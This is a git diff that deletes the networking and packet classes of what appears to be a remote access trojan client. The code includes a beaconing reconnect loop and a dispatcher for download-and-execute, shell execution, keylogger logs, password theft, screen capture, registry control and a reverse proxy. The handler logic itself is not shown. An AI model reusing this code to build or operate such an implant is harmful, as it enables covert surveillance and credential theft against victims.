(ReverseProxy.Packets.ReverseProxyDisconnect) - }); - base.ClientState += OnClientState; - base.ClientRead += OnClientRead; - base.ClientFail += OnClientFail; - } - - public void Connect() - { - while (!Exiting) // Main Connect Loop - { - if (!Connected) - { - Thread.Sleep(100 + new Random().Next(0, 250)); - - Host host = _hosts.GetNextHost(); - - base.Connect(host.Hostname, host.Port); - - Thread.Sleep(200); - - Application.DoEvents(); - } - - while (Connected) // hold client open - { - Application.DoEvents(); - Thread.Sleep(2500); - } - - if (Exiting) - { - Disconnect(); - return; - } - - Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750)); - } - } - - private void OnClientRead(Client client, IPacket packet) - { - var type = packet.GetType(); - - if (!Authenticated) - { - if (type == typeof(Packets.ServerPackets.GetAuthentication)) - { - CommandHandler.HandleGetAuthentication((Packets.ServerPackets.GetAuthentication)packet, client); - } - else if (type == typeof(Packets.ServerPackets.SetAuthenticationSuccess)) - { - Authenticated = true; - } - return; - } - - PacketHandler.HandlePacket(client, packet); - } - - private void OnClientFail(Client client, Exception ex) - { - Debug.WriteLine("Client Fail - Exception Message: " + ex.Message); - client.Disconnect(); - } - - private void OnClientState(Client client, bool connected) - { - Authenticated = false; // always reset authentication - - if (!connected && !Exiting) - LostConnection(); - } - - private void LostConnection() - { - CommandHandler.CloseShell(); - } - - public void Exit() - { - Exiting = true; - Disconnect(); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs b/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs deleted file mode 100644 index 07039838d..000000000 --- a/Client/Core/Packets/ClientPackets/DoDownloadFileResponse.cs +++ /dev/null @@ -1,41 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class DoDownloadFileResponse : IPacket - { - public int ID { get; set; } - - public string Filename { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public string CustomMessage { get; set; } - - public DoDownloadFileResponse() - { - } - - public DoDownloadFileResponse(int id, string filename, byte[] block, int maxblocks, int currentblock, - string custommessage) - { - this.ID = id; - this.Filename = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - this.CustomMessage = custommessage; - } - - public void Execute(Client client) - { - client.SendBlocking(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs b/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs deleted file mode 100644 index 6f6959dc7..000000000 --- a/Client/Core/Packets/ClientPackets/DoShellExecuteResponse.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class DoShellExecuteResponse : IPacket - { - public string Output { get; set; } - - public bool IsError { get; private set; } - - public DoShellExecuteResponse() - { - } - - public DoShellExecuteResponse(string output, bool isError = false) - { - this.Output = output; - this.IsError = isError; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs b/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs deleted file mode 100644 index 2b07862dc..000000000 --- a/Client/Core/Packets/ClientPackets/GetAuthenticationResponse.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetAuthenticationResponse : IPacket - { - public string Version { get; set; } - - public string OperatingSystem { get; set; } - - public string AccountType { get; set; } - - public string Country { get; set; } - - public string CountryCode { get; set; } - - public string Region { get; set; } - - public string City { get; set; } - - public int ImageIndex { get; set; } - - public string Id { get; set; } - - public string Username { get; set; } - - public string PCName { get; set; } - - public string Tag { get; set; } - - public GetAuthenticationResponse() - { - } - - public GetAuthenticationResponse(string version, string operatingsystem, string accounttype, string country, string countrycode, - string region, string city, int imageindex, string id, string username, string pcname, string tag) - { - Version = version; - OperatingSystem = operatingsystem; - AccountType = accounttype; - Country = country; - CountryCode = countrycode; - Region = region; - City = city; - ImageIndex = imageindex; - Id = id; - Username = username; - PCName = pcname; - Tag = tag; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs deleted file mode 100644 index f0f87ac11..000000000 --- a/Client/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; -using xClient.Core.Registry; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetChangeRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public RegValueData Value { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetChangeRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs b/Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs deleted file mode 100644 index d44c3a1b8..000000000 --- a/Client/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; -using xClient.Core.Registry; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetCreateRegistryKeyResponse : IPacket - { - public string ParentPath { get; set; } - public RegSeekerMatch Match { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetCreateRegistryKeyResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs deleted file mode 100644 index be706de56..000000000 --- a/Client/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; -using xClient.Core.Registry; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetCreateRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public RegValueData Value { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetCreateRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs b/Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs deleted file mode 100644 index fa47da065..000000000 --- a/Client/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDeleteRegistryKeyResponse : IPacket - { - public string ParentPath { get; set; } - public string KeyName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetDeleteRegistryKeyResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs deleted file mode 100644 index a1775d87e..000000000 --- a/Client/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDeleteRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public string ValueName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetDeleteRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs b/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs deleted file mode 100644 index c4beee876..000000000 --- a/Client/Core/Packets/ClientPackets/GetDesktopResponse.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDesktopResponse : IPacket - { - public byte[] Image { get; set; } - - public int Quality { get; set; } - - public int Monitor { get; set; } - - public string Resolution { get; set; } - - public GetDesktopResponse() - { - } - - public GetDesktopResponse(byte[] image, int quality, int monitor, string resolution) - { - this.Image = image; - this.Quality = quality; - this.Monitor = monitor; - this.Resolution = resolution; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs b/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs deleted file mode 100644 index be00cea29..000000000 --- a/Client/Core/Packets/ClientPackets/GetDirectoryResponse.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDirectoryResponse : IPacket - { - public string[] Files { get; set; } - - public string[] Folders { get; set; } - - public long[] FilesSize { get; set; } - - public GetDirectoryResponse() - { - } - - public GetDirectoryResponse(string[] files, string[] folders, long[] filessize) - { - this.Files = files; - this.Folders = folders; - this.FilesSize = filessize; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs b/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs deleted file mode 100644 index d98b24e4c..000000000 --- a/Client/Core/Packets/ClientPackets/GetDrivesResponse.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetDrivesResponse : IPacket - { - public string[] DriveDisplayName { get; set; } - - public string[] RootDirectory { get; set; } - - public GetDrivesResponse() - { - } - - public GetDrivesResponse(string[] driveDisplayName, string[] rootDirectory) - { - this.DriveDisplayName = driveDisplayName; - this.RootDirectory = rootDirectory; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs b/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs deleted file mode 100644 index cb285524d..000000000 --- a/Client/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetKeyloggerLogsResponse : IPacket - { - public string Filename { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public string CustomMessage { get; set; } - - public int Index { get; set; } - - public int FileCount { get; set; } - - public GetKeyloggerLogsResponse() { } - public GetKeyloggerLogsResponse(string filename, byte[] block, int maxblocks, int currentblock, string custommessage, int index, int fileCount) - { - this.Filename = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - this.CustomMessage = custommessage; - this.Index = index; - this.FileCount = fileCount; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs b/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs deleted file mode 100644 index aad0f2883..000000000 --- a/Client/Core/Packets/ClientPackets/GetMonitorsResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetMonitorsResponse : IPacket - { - public int Number { get; set; } - - public GetMonitorsResponse() - { - } - - public GetMonitorsResponse(int number) - { - this.Number = number; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs b/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs deleted file mode 100644 index 4a19c621f..000000000 --- a/Client/Core/Packets/ClientPackets/GetPasswordsResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetPasswordsResponse : IPacket - { - public List Passwords { get; set; } - - public GetPasswordsResponse() - { - } - - public GetPasswordsResponse(List data) - { - this.Passwords = data; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs b/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs deleted file mode 100644 index 052619bb5..000000000 --- a/Client/Core/Packets/ClientPackets/GetProcessesResponse.cs +++ /dev/null @@ -1,31 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetProcessesResponse : IPacket - { - public string[] Processes { get; set; } - - public int[] IDs { get; set; } - - public string[] Titles { get; set; } - - public GetProcessesResponse() - { - } - - public GetProcessesResponse(string[] processes, int[] ids, string[] titles) - { - this.Processes = processes; - this.IDs = ids; - this.Titles = titles; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs b/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs deleted file mode 100644 index 32b1af101..000000000 --- a/Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; -using xClient.Core.Registry; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetRegistryKeysResponse : IPacket - { - public RegSeekerMatch[] Matches { get; set; } - - public string RootKey { get; set; } - - public GetRegistryKeysResponse() - { } - - public GetRegistryKeysResponse(RegSeekerMatch match, string rootKey = null) - : this(new RegSeekerMatch[] { match }, rootKey) - { } - - public GetRegistryKeysResponse(RegSeekerMatch[] matches, string rootKey = null) - { - Matches = matches; - RootKey = rootKey; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs b/Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs deleted file mode 100644 index 69151075b..000000000 --- a/Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetRenameRegistryKeyResponse : IPacket - { - public string ParentPath { get; set; } - public string OldKeyName { get; set; } - public string NewKeyName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetRenameRegistryKeyResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs b/Client/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs deleted file mode 100644 index 7289b3dab..000000000 --- a/Client/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetRenameRegistryValueResponse : IPacket - { - public string KeyPath { get; set; } - public string OldValueName { get; set; } - public string NewValueName { get; set; } - - public bool IsError { get; set; } - public string ErrorMsg { get; set; } - - public GetRenameRegistryValueResponse() { } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs b/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs deleted file mode 100644 index 7a63bfc5b..000000000 --- a/Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Collections.Generic; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetStartupItemsResponse : IPacket - { - public List StartupItems { get; set; } - - public GetStartupItemsResponse() - { - } - - public GetStartupItemsResponse(List startupitems) - { - this.StartupItems = startupitems; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs b/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs deleted file mode 100644 index 44f026895..000000000 --- a/Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class GetSystemInfoResponse : IPacket - { - public string[] SystemInfos { get; set; } - - public GetSystemInfoResponse() - { - } - - public GetSystemInfoResponse(string[] systeminfos) - { - this.SystemInfos = systeminfos; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/SetStatus.cs b/Client/Core/Packets/ClientPackets/SetStatus.cs deleted file mode 100644 index 17eddbe3d..000000000 --- a/Client/Core/Packets/ClientPackets/SetStatus.cs +++ /dev/null @@ -1,25 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class SetStatus : IPacket - { - public string Message { get; set; } - - public SetStatus() - { - } - - public SetStatus(string message) - { - Message = message; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs b/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs deleted file mode 100644 index a088898da..000000000 --- a/Client/Core/Packets/ClientPackets/SetStatusFileManager.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class SetStatusFileManager : IPacket - { - public string Message { get; set; } - - public bool SetLastDirectorySeen { get; set; } - - public SetStatusFileManager() - { - } - - public SetStatusFileManager(string message, bool setLastDirectorySeen) - { - Message = message; - SetLastDirectorySeen = setLastDirectorySeen; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ClientPackets/SetUserStatus.cs b/Client/Core/Packets/ClientPackets/SetUserStatus.cs deleted file mode 100644 index 4717ee82e..000000000 --- a/Client/Core/Packets/ClientPackets/SetUserStatus.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using xClient.Core.Networking; -using xClient.Enums; - -namespace xClient.Core.Packets.ClientPackets -{ - [Serializable] - public class SetUserStatus : IPacket - { - public UserStatus Message { get; set; } - - public SetUserStatus() - { - } - - public SetUserStatus(UserStatus message) - { - Message = message; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/IPacket.cs b/Client/Core/Packets/IPacket.cs deleted file mode 100644 index 157317dee..000000000 --- a/Client/Core/Packets/IPacket.cs +++ /dev/null @@ -1,9 +0,0 @@ -using xClient.Core.Networking; - -namespace xClient.Core.Packets -{ - public interface IPacket - { - void Execute(Client client); - } -} \ No newline at end of file diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs deleted file mode 100644 index 08da0d534..000000000 --- a/Client/Core/Packets/PacketHandler.cs +++ /dev/null @@ -1,176 +0,0 @@ -using xClient.Core.Commands; -using xClient.Core.Networking; -using xClient.Core.ReverseProxy; - -namespace xClient.Core.Packets -{ - public static class PacketHandler - { - public static void HandlePacket(Client client, IPacket packet) - { - var type = packet.GetType(); - - if (type == typeof(ServerPackets.DoDownloadAndExecute)) - { - CommandHandler.HandleDoDownloadAndExecute((ServerPackets.DoDownloadAndExecute)packet, - client); - } - else if (type == typeof(ServerPackets.DoUploadAndExecute)) - { - CommandHandler.HandleDoUploadAndExecute((ServerPackets.DoUploadAndExecute)packet, client); - } - else if (type == typeof(ServerPackets.DoClientDisconnect)) - { - Program.ConnectClient.Exit(); - } - else if (type == typeof(ServerPackets.DoClientReconnect)) - { - Program.ConnectClient.Disconnect(); - } - else if (type == typeof(ServerPackets.DoClientUninstall)) - { - CommandHandler.HandleDoClientUninstall((ServerPackets.DoClientUninstall)packet, client); - } - else if (type == typeof(ServerPackets.GetDesktop)) - { - CommandHandler.HandleGetDesktop((ServerPackets.GetDesktop)packet, client); - } - else if (type == typeof(ServerPackets.GetProcesses)) - { - CommandHandler.HandleGetProcesses((ServerPackets.GetProcesses)packet, client); - } - else if (type == typeof(ServerPackets.DoProcessKill)) - { - CommandHandler.HandleDoProcessKill((ServerPackets.DoProcessKill)packet, client); - } - else if (type == typeof(ServerPackets.DoProcessStart)) - { - CommandHandler.HandleDoProcessStart((ServerPackets.DoProcessStart)packet, client); - } - else if (type == typeof(ServerPackets.GetDrives)) - { - CommandHandler.HandleGetDrives((ServerPackets.GetDrives)packet, client); - } - else if (type == typeof(ServerPackets.GetDirectory)) - { - CommandHandler.HandleGetDirectory((ServerPackets.GetDirectory)packet, client); - } - else if (type == typeof(ServerPackets.DoDownloadFile)) - { - CommandHandler.HandleDoDownloadFile((ServerPackets.DoDownloadFile)packet, client); - } - else if (type == typeof(ServerPackets.DoUploadFile)) - { - CommandHandler.HandleDoUploadFile((ServerPackets.DoUploadFile)packet, client); - } - else if (type == typeof(ServerPackets.DoMouseEvent)) - { - CommandHandler.HandleDoMouseEvent((ServerPackets.DoMouseEvent)packet, client); - } - else if (type == typeof(ServerPackets.DoKeyboardEvent)) - { - CommandHandler.HandleDoKeyboardEvent((ServerPackets.DoKeyboardEvent)packet, client); - } - else if (type == typeof(ServerPackets.GetSystemInfo)) - { - CommandHandler.HandleGetSystemInfo((ServerPackets.GetSystemInfo)packet, client); - } - else if (type == typeof(ServerPackets.DoVisitWebsite)) - { - CommandHandler.HandleDoVisitWebsite((ServerPackets.DoVisitWebsite)packet, client); - } - else if (type == typeof(ServerPackets.DoShowMessageBox)) - { - CommandHandler.HandleDoShowMessageBox((ServerPackets.DoShowMessageBox)packet, client); - } - else if (type == typeof(ServerPackets.DoClientUpdate)) - { - CommandHandler.HandleDoClientUpdate((ServerPackets.DoClientUpdate)packet, client); - } - else if (type == typeof(ServerPackets.GetMonitors)) - { - CommandHandler.HandleGetMonitors((ServerPackets.GetMonitors)packet, client); - } - else if (type == typeof(ServerPackets.DoShellExecute)) - { - CommandHandler.HandleDoShellExecute((ServerPackets.DoShellExecute)packet, client); - } - else if (type == typeof(ServerPackets.DoPathRename)) - { - CommandHandler.HandleDoPathRename((ServerPackets.DoPathRename)packet, client); - } - else if (type == typeof(ServerPackets.DoPathDelete)) - { - CommandHandler.HandleDoPathDelete((ServerPackets.DoPathDelete)packet, client); - } - else if (type == typeof(ServerPackets.DoShutdownAction)) - { - CommandHandler.HandleDoShutdownAction((ServerPackets.DoShutdownAction)packet, client); - } - else if (type == typeof(ServerPackets.GetStartupItems)) - { - CommandHandler.HandleGetStartupItems((ServerPackets.GetStartupItems)packet, client); - } - else if (type == typeof(ServerPackets.DoStartupItemAdd)) - { - CommandHandler.HandleDoStartupItemAdd((ServerPackets.DoStartupItemAdd)packet, client); - } - else if (type == typeof(ServerPackets.DoStartupItemRemove)) - { - CommandHandler.HandleDoStartupItemRemove((ServerPackets.DoStartupItemRemove)packet, client); - } - else if (type == typeof(ServerPackets.DoDownloadFileCancel)) - { - CommandHandler.HandleDoDownloadFileCancel((ServerPackets.DoDownloadFileCancel)packet, - client); - } - else if (type == typeof(ServerPackets.DoLoadRegistryKey)) - { - CommandHandler.HandleGetRegistryKey((ServerPackets.DoLoadRegistryKey)packet, client); - } - else if (type == typeof(ServerPackets.DoCreateRegistryKey)) - { - CommandHandler.HandleCreateRegistryKey((ServerPackets.DoCreateRegistryKey)packet, client); - } - else if (type == typeof(ServerPackets.DoDeleteRegistryKey)) - { - CommandHandler.HandleDeleteRegistryKey((ServerPackets.DoDeleteRegistryKey)packet, client); - } - else if (type == typeof(ServerPackets.DoRenameRegistryKey)) - { - CommandHandler.HandleRenameRegistryKey((ServerPackets.DoRenameRegistryKey)packet, client); - } - else if (type == typeof(ServerPackets.DoCreateRegistryValue)) - { - CommandHandler.HandleCreateRegistryValue((ServerPackets.DoCreateRegistryValue)packet, client); - } - else if (type == typeof(ServerPackets.DoDeleteRegistryValue)) - { - CommandHandler.HandleDeleteRegistryValue((ServerPackets.DoDeleteRegistryValue)packet, client); - } - else if (type == typeof(ServerPackets.DoRenameRegistryValue)) - { - CommandHandler.HandleRenameRegistryValue((ServerPackets.DoRenameRegistryValue)packet, client); - } - else if (type == typeof(ServerPackets.DoChangeRegistryValue)) - { - CommandHandler.HandleChangeRegistryValue((ServerPackets.DoChangeRegistryValue)packet, client); - } - else if (type == typeof(ServerPackets.GetKeyloggerLogs)) - { - CommandHandler.HandleGetKeyloggerLogs((ServerPackets.GetKeyloggerLogs)packet, client); - } - else if (type == typeof(ServerPackets.GetPasswords)) - { - CommandHandler.HandleGetPasswords((ServerPackets.GetPasswords)packet, client); - } - else if (type == typeof(ReverseProxy.Packets.ReverseProxyConnect) || - type == typeof(ReverseProxy.Packets.ReverseProxyConnectResponse) || - type == typeof(ReverseProxy.Packets.ReverseProxyData) || - type == typeof(ReverseProxy.Packets.ReverseProxyDisconnect)) - { - ReverseProxyCommandHandler.HandleCommand(client, packet); - } - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoChangeRegistryValue.cs b/Client/Core/Packets/ServerPackets/DoChangeRegistryValue.cs deleted file mode 100644 index 312bd2125..000000000 --- a/Client/Core/Packets/ServerPackets/DoChangeRegistryValue.cs +++ /dev/null @@ -1,26 +0,0 @@ -using System; -using System.Linq; -using System.Text; -using xClient.Core.Networking; -using xClient.Core.Registry; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoChangeRegistryValue : IPacket - { - public string KeyPath { get; set; } - public RegValueData Value { get; set; } - - public DoChangeRegistryValue(string keyPath, RegValueData value) - { - KeyPath = keyPath; - Value = value; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs b/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs deleted file mode 100644 index 9ccf83399..000000000 --- a/Client/Core/Packets/ServerPackets/DoClientDisconnect.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientDisconnect : IPacket - { - public DoClientDisconnect() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoClientReconnect.cs b/Client/Core/Packets/ServerPackets/DoClientReconnect.cs deleted file mode 100644 index 5c55527b2..000000000 --- a/Client/Core/Packets/ServerPackets/DoClientReconnect.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientReconnect : IPacket - { - public DoClientReconnect() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoClientUninstall.cs b/Client/Core/Packets/ServerPackets/DoClientUninstall.cs deleted file mode 100644 index 704c01a39..000000000 --- a/Client/Core/Packets/ServerPackets/DoClientUninstall.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientUninstall : IPacket - { - public DoClientUninstall() - { - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoClientUpdate.cs b/Client/Core/Packets/ServerPackets/DoClientUpdate.cs deleted file mode 100644 index 80d4b34fb..000000000 --- a/Client/Core/Packets/ServerPackets/DoClientUpdate.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoClientUpdate : IPacket - { - public int ID { get; set; } - - public string DownloadURL { get; set; } - - public string FileName { get; set; } - - public byte[] Block { get; set; } - - public int MaxBlocks { get; set; } - - public int CurrentBlock { get; set; } - - public DoClientUpdate() - { - } - - public DoClientUpdate(int id, string downloadurl, string filename, byte[] block, int maxblocks, int currentblock) - { - this.ID = id; - this.DownloadURL = downloadurl; - this.FileName = filename; - this.Block = block; - this.MaxBlocks = maxblocks; - this.CurrentBlock = currentblock; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} \ No newline at end of file diff --git a/Client/Core/Packets/ServerPackets/DoCreateRegistryKey.cs b/Client/Core/Packets/ServerPackets/DoCreateRegistryKey.cs deleted file mode 100644 index d219742d4..000000000 --- a/Client/Core/Packets/ServerPackets/DoCreateRegistryKey.cs +++ /dev/null @@ -1,24 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using xClient.Core.Networking; - -namespace xClient.Core.Packets.ServerPackets -{ - [Serializable] - public class DoCreateRegistryKey : IPacket - { - public string ParentPath { get; set; } - - public DoCreateRegistryKey(string parentPath) - { - ParentPath = parentPath; - } - - public void Execute(Client client) - { - client.Send(this); - } - } -} diff --git a/Client/Core/Packets/ServerPackets/DoCreateRegistryValue.cs b/Client/Core/Packets/ServerPackets/DoCreateRegistryValue.cs deleted file mode 100644 index 